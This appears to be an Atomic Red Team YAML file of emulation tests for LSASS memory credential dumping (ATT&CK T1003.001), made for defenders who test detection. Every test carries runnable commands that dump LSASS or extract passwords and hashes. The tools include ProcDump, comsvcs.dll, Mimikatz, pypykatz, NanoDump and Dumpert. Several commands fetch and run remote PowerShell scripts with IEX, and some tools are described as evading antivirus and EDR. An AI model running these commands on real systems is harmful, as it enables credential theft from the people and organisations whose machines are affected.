attack_technique: T1003.001
display_name: "OS Credential Dumping: LSASS Memory"
atomic_tests:
- name: Windows Credential Editor
  auto_generated_guid: 0f7c5301-6859-45ba-8b4d-1fac30fc31ed
  description: |
    Dump user credentials using Windows Credential Editor (supports Windows XP, 2003, Vista, 7, 2008 and Windows 8 only)

    Upon successful execution, you should see a file with user passwords/hashes at %temp%/wce-output.file.

    If you see no output it is likely that execution was blocked by Anti-Virus. 

    If you see a message saying \"wce.exe is not recognized as an internal or external command\", try using the  get-prereq_commands to download and install Windows Credential Editor first.
  supported_platforms:
  - windows
  input_arguments:
    output_file:
      description: Path where resulting data should be placed
      type: Path
      default: '%temp%\wce-output.txt'
    wce_zip_hash:
      description: File hash of the Windows Credential Editor zip file
      type: String
      default: 8F4EFA0DDE5320694DD1AA15542FE44FDE4899ED7B3A272063902E773B6C4933
    wce_exe:
      description: Path of Windows Credential Editor executable
      type: Path
      default: PathToAtomicsFolder\T1003.001\bin\wce.exe
    wce_url:
      description: Path to download Windows Credential Editor zip file
      type: Url
      default: https://www.ampliasecurity.com/research/wce_v1_41beta_universal.zip
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Windows Credential Editor must exist on disk at specified location (#{wce_exe})
    prereq_command: |
      if (Test-Path #{wce_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      $parentpath = Split-Path "#{wce_exe}"; $zippath = "$parentpath\wce.zip"
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      IEX(IWR "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-WebRequestVerifyHash.ps1" -UseBasicParsing)
      if(Invoke-WebRequestVerifyHash "#{wce_url}" "$zippath" #{wce_zip_hash}){
        Expand-Archive $zippath $parentpath\wce -Force
        Move-Item $parentpath\wce\wce.exe "#{wce_exe}"
        Remove-Item $zippath, $parentpath\wce -Recurse
      }
  executor:
    command: |
      #{wce_exe} -o #{output_file}
    cleanup_command: del "#{output_file}" >nul 2>&1
    name: command_prompt
    elevation_required: true
- name: Dump LSASS.exe Memory using ProcDump
  auto_generated_guid: 0be2230c-9ab3-4ac2-8826-3199b9a0ebf8
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
    ProcDump.

    Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

    If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
  supported_platforms:
  - windows
  input_arguments:
    output_file:
      description: Path where resulting dump should be placed
      type: Path
      default: C:\Windows\Temp\lsass_dump.dmp
    procdump_exe:
      description: Path of Procdump executable
      type: Path
      default: PathToAtomicsFolder\T1003.001\bin\procdump.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
    prereq_command: |
      if (Test-Path #{procdump_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip"
      Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force
      New-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null
      Copy-Item $env:TEMP\Procdump\Procdump.exe #{procdump_exe} -Force
  executor:
    command: |
      #{procdump_exe} -accepteula -ma lsass.exe #{output_file}
    cleanup_command: |
      del "#{output_file}" >nul 2> nul
    name: command_prompt
    elevation_required: true
- name: Dump LSASS.exe Memory using comsvcs.dll
  auto_generated_guid: 2536dee2-12fb-459a-8c37-971844fa73be
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with a built-in dll.

    Upon successful execution, you should see the following file created $env:TEMP\lsass-comsvcs.dmp.
  supported_platforms:
  - windows
  executor:
    command: |
      C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
    cleanup_command: |
      Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Dump LSASS.exe Memory using direct system calls and API unhooking
  auto_generated_guid: 7ae7102c-a099-45c8-b985-4c7a2d05790d
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved using direct system calls and API unhooking in an effort to avoid detection. 
    https://github.com/outflanknl/Dumpert
    https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/
    Upon successful execution, you should see the following file created C:\\windows\\temp\\dumpert.dmp.

    If you see a message saying \"The system cannot find the path specified.\", try using the  get-prereq_commands to download the  tool first.
  supported_platforms:
  - windows
  input_arguments:
    dumpert_exe:
      description: Path of Dumpert executable
      type: Path
      default: PathToAtomicsFolder\T1003.001\bin\Outflank-Dumpert.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Dumpert executable must exist on disk at specified location (#{dumpert_exe})
    prereq_command: |
      if (Test-Path #{dumpert_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      New-Item -ItemType Directory (Split-Path #{dumpert_exe}) -Force | Out-Null
      Invoke-WebRequest "https://github.com/clr2of8/Dumpert/raw/5838c357224cc9bc69618c80c2b5b2d17a394b10/Dumpert/x64/Release/Outflank-Dumpert.exe" -OutFile #{dumpert_exe}
  executor:
    command: |
      #{dumpert_exe}
    cleanup_command: |
      del C:\windows\temp\dumpert.dmp >nul 2> nul
    name: command_prompt
    elevation_required: true
    
- name: Dump LSASS.exe Memory using NanoDump
  auto_generated_guid: dddd4aca-bbed-46f0-984d-e4c5971c51ea
  description: |
    The NanoDump tool uses syscalls and an invalid dump signature to avoid detection.
    
    https://github.com/helpsystems/nanodump

    Upon successful execution, you should find the nanondump.dmp file in the temp directory
  supported_platforms:
  - windows
  dependency_executor_name: powershell
  dependencies:
  - description: |
      NanoDump executable must exist on disk at specified location ($env:TEMP\nanodump.x64.exe)
    prereq_command: |
      if (Test-Path $env:TEMP\nanodump.x64.exe) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest "https://github.com/helpsystems/nanodump/raw/84db0c1737bbe027431733c193cfacf59a07259b/compiled/nanodump.x64.exe" -OutFile "$env:TEMP\nanodump.x64.exe"
  executor:
    command: |
      %temp%\nanodump.x64.exe -w "%temp%\nanodump.dmp"
    cleanup_command: |
      del "%temp%\nanodump.dmp" >nul 2> nul
    name: command_prompt
    elevation_required: true

- name: Dump LSASS.exe Memory using Windows Task Manager
  auto_generated_guid: dea6c349-f1c6-44f3-87a1-1ed33a59a607
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with the Windows Task
    Manager and administrative permissions.
  supported_platforms:
  - windows
  executor:
    steps: |
      1. Open Task Manager:
        On a Windows system this can be accomplished by pressing CTRL-ALT-DEL and selecting Task Manager or by right-clicking
        on the task bar and selecting "Task Manager".

      2. Select lsass.exe:
        If lsass.exe is not visible, select "Show processes from all users". This will allow you to observe execution of lsass.exe
        and select it for manipulation.

      3. Dump lsass.exe memory:
        Right-click on lsass.exe in Task Manager. Select "Create Dump File". The following dialog will show you the path to the saved file.
    name: manual
- name: Offline Credential Theft With Mimikatz
  auto_generated_guid: 453acf13-1dbd-47d7-b28a-172ce9228023
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. Adversaries commonly perform this offline analysis with
    Mimikatz. This tool is available at https://github.com/gentilkiwi/mimikatz and can be obtained using the get-prereq_commands.
  supported_platforms:
  - windows
  input_arguments:
    input_file:
      description: Path of the Lsass dump
      type: Path
      default: '%tmp%\lsass.DMP'
    mimikatz_exe:
      description: Path of the Mimikatz binary
      type: String
      default: PathToAtomicsFolder\T1003.001\bin\mimikatz.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Mimikatz must exist on disk at specified location (#{mimikatz_exe})
    prereq_command: |
      if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
      Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\Mimi.zip"
      Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force
      New-Item -ItemType Directory (Split-Path #{mimikatz_exe}) -Force | Out-Null
      Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force
  - description: |
      Lsass dump must exist at specified location (#{input_file})
    prereq_command: |
      cmd /c "if not exist #{input_file} (exit /b 1)"
    get_prereq_command: |
      Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)"
  executor:
    command: |
      #{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
    name: command_prompt
    elevation_required: true
- name: LSASS read with pypykatz
  auto_generated_guid: c37bc535-5c62-4195-9cc3-0517673171d8
  description: |
    Parses secrets hidden in the LSASS process with python. Similar to mimikatz's sekurlsa::

    Python 3 must be installed, use the get_prereq_command's to meet the prerequisites for this test.

    Successful execution of this test will display multiple useranames and passwords/hashes to the screen.
  supported_platforms:
  - windows
  dependency_executor_name: command_prompt
  dependencies:
  - description: |
      Computer must have python 3 installed
    prereq_command: |
      py -3 --version >nul 2>&1
      exit /b %errorlevel%
    get_prereq_command: |
      echo "Python 3 must be installed manually"
  - description: |
      Computer must have pip installed
    prereq_command: |
      py -3 -m pip --version >nul 2>&1
      exit /b %errorlevel%
    get_prereq_command: |
      echo "PIP must be installed manually"
  - description: |
      pypykatz must be installed and part of PATH
    prereq_command: |
      pypykatz -h >nul 2>&1
      exit /b %errorlevel%
    get_prereq_command: |
      pip install pypykatz
  executor:
    command: |
      pypykatz live lsa
    name: command_prompt
    elevation_required: true
- name: Dump LSASS.exe Memory using Out-Minidump.ps1
  auto_generated_guid: 6502c8f0-b775-4dbd-9193-1298f56b6781
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This test leverages a pure
    powershell implementation that leverages the MiniDumpWriteDump Win32 API call.
    Upon successful execution, you should see the following file created $env:SYSTEMROOT\System32\lsass_*.dmp.
  supported_platforms:
  - windows
  executor:
    command: |
       [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
       IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump
    cleanup_command: |
      Remove-Item $env:TEMP\lsass_*.dmp -ErrorAction Ignore
    name: powershell
    elevation_required: true
- name: Create Mini Dump of LSASS.exe using ProcDump
  auto_generated_guid: 7cede33f-0acd-44ef-9774-15511300b24b
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved with Sysinternals
    ProcDump. This particular method uses -mm to produce a mini dump of lsass.exe

    Upon successful execution, you should see the following file created c:\windows\temp\lsass_dump.dmp.

    If you see a message saying "procdump.exe is not recognized as an internal or external command", try using the  get-prereq_commands to download and install the ProcDump tool first.
  supported_platforms:
  - windows
  input_arguments:
    output_file:
      description: Path where resulting dump should be placed
      type: Path
      default: C:\Windows\Temp\lsass_dump.dmp
    procdump_exe:
      description: Path of Procdump executable
      type: Path
      default: PathToAtomicsFolder\T1003.001\bin\procdump.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe})
    prereq_command: |
      if (Test-Path #{procdump_exe}) {exit 0} else {exit 1}
    get_prereq_command: |
      Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip"
      Expand-Archive $env:TEMP\Procdump.zip $env:TEMP\Procdump -Force
      New-Item -ItemType Directory (Split-Path #{procdump_exe}) -Force | Out-Null
      Copy-Item $env:TEMP\Procdump\Procdump.exe #{procdump_exe} -Force
  executor:
    command: |
      #{procdump_exe} -accepteula -mm lsass.exe #{output_file}
    cleanup_command: |
      del "#{output_file}" >nul 2> nul
    name: command_prompt
    elevation_required: true
- name: Powershell Mimikatz
  auto_generated_guid: 66fb0bc1-3c3f-47e9-a298-550ecfefacbc
  description: |
    Dumps credentials from memory via Powershell by invoking a remote mimikatz script.
    If Mimikatz runs successfully you will see several usernames and hashes output to the screen.
    Common failures include seeing an \"access denied\" error which results when Anti-Virus blocks execution. 
    Or, if you try to run the test without the required administrative privleges you will see this error near the bottom of the output to the screen "ERROR kuhl_m_sekurlsa_acquireLSA"
  supported_platforms:
  - windows
  input_arguments:
    remote_script:
      description: URL to a remote Mimikatz script that dumps credentials
      type: Url
      default: https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1
  executor:
    command: |
      IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
    name: powershell
    elevation_required: true
- name: Dump LSASS with .Net 5 createdump.exe
  auto_generated_guid: 9d0072c8-7cca-45c4-bd14-f852cfa35cf0
  description: |
    This test uses the technique describe in this tweet 
    (https://twitter.com/bopin2020/status/1366400799199272960?s=20) from @bopin2020 in order to dump lsass
  supported_platforms:
  - windows
  input_arguments:
    output_file:
      description: Path where resulting dump should be placed
      type: Path
      default: C:\Windows\Temp\dotnet-lsass.dmp
    createdump_exe:
      description: Path of createdump.exe executable
      type: Path
      default: 'C:\Program Files\dotnet\shared\Microsoft.NETCore.App\5.*.*\createdump.exe'
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must have createdump.exe from .Net 5
    prereq_command: |
      if (Test-Path '#{createdump_exe}') {exit 0} else {exit 1}
    get_prereq_command: |
      echo ".NET 5 must be installed manually." "For the very brave a copy of the executable can be found here: https://github.com/Scoubi/RedTeam-Tools/blob/main/createdump.exe"
  executor:
    command: |
      echo "Createdump Path #{createdump_exe}"
      $LSASS = tasklist | findstr "lsass"
      $FIELDS = $LSASS -split "\s+"
      $ID = $FIELDS[1]
      & "#{createdump_exe}" -u -f #{output_file} $ID
    cleanup_command: |
      Remove-Item #{output_file} -ErrorAction Ignore
    name: powershell
    elevation_required: true  
- name: Dump LSASS.exe using imported Microsoft DLLs
  auto_generated_guid: 86fc3f40-237f-4701-b155-81c01c48d697
  description: |
    The memory of lsass.exe is often dumped for offline credential theft attacks. This can be achieved by
    importing built-in DLLs and calling exported functions. Xordump will re-read the resulting minidump 
    file and delete it immediately to avoid brittle EDR detections that signature lsass minidump files.

    Upon successful execution, you should see the following file created $env:TEMP\lsass-xordump.t1003.001.dmp.
  supported_platforms:
  - windows
  input_arguments:
    xordump_exe:
      description: Path to xordump
      type: Path
      default: C:\Windows\Temp\xordump.exe
    output_file:
      description: Path where resulting dump should be placed
      type: Path
      default: C:\Windows\Temp\lsass-xordump.t1003.001.dmp
  dependencies:
  - description: |
      Computer must have xordump.exe
    prereq_command: |
      if (Test-Path '#{xordump_exe}') {exit 0} else {exit 1}
    get_prereq_command: |
      [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
      Invoke-WebRequest "https://github.com/audibleblink/xordump/releases/download/v0.0.1/xordump.exe" -OutFile #{xordump_exe}
  executor:
    command: |
      #{xordump_exe} -out #{output_file} -x 0x41
    cleanup_command: |
      Remove-Item #{output_file} -ErrorAction Ignore
    name: powershell
    elevation_required: true
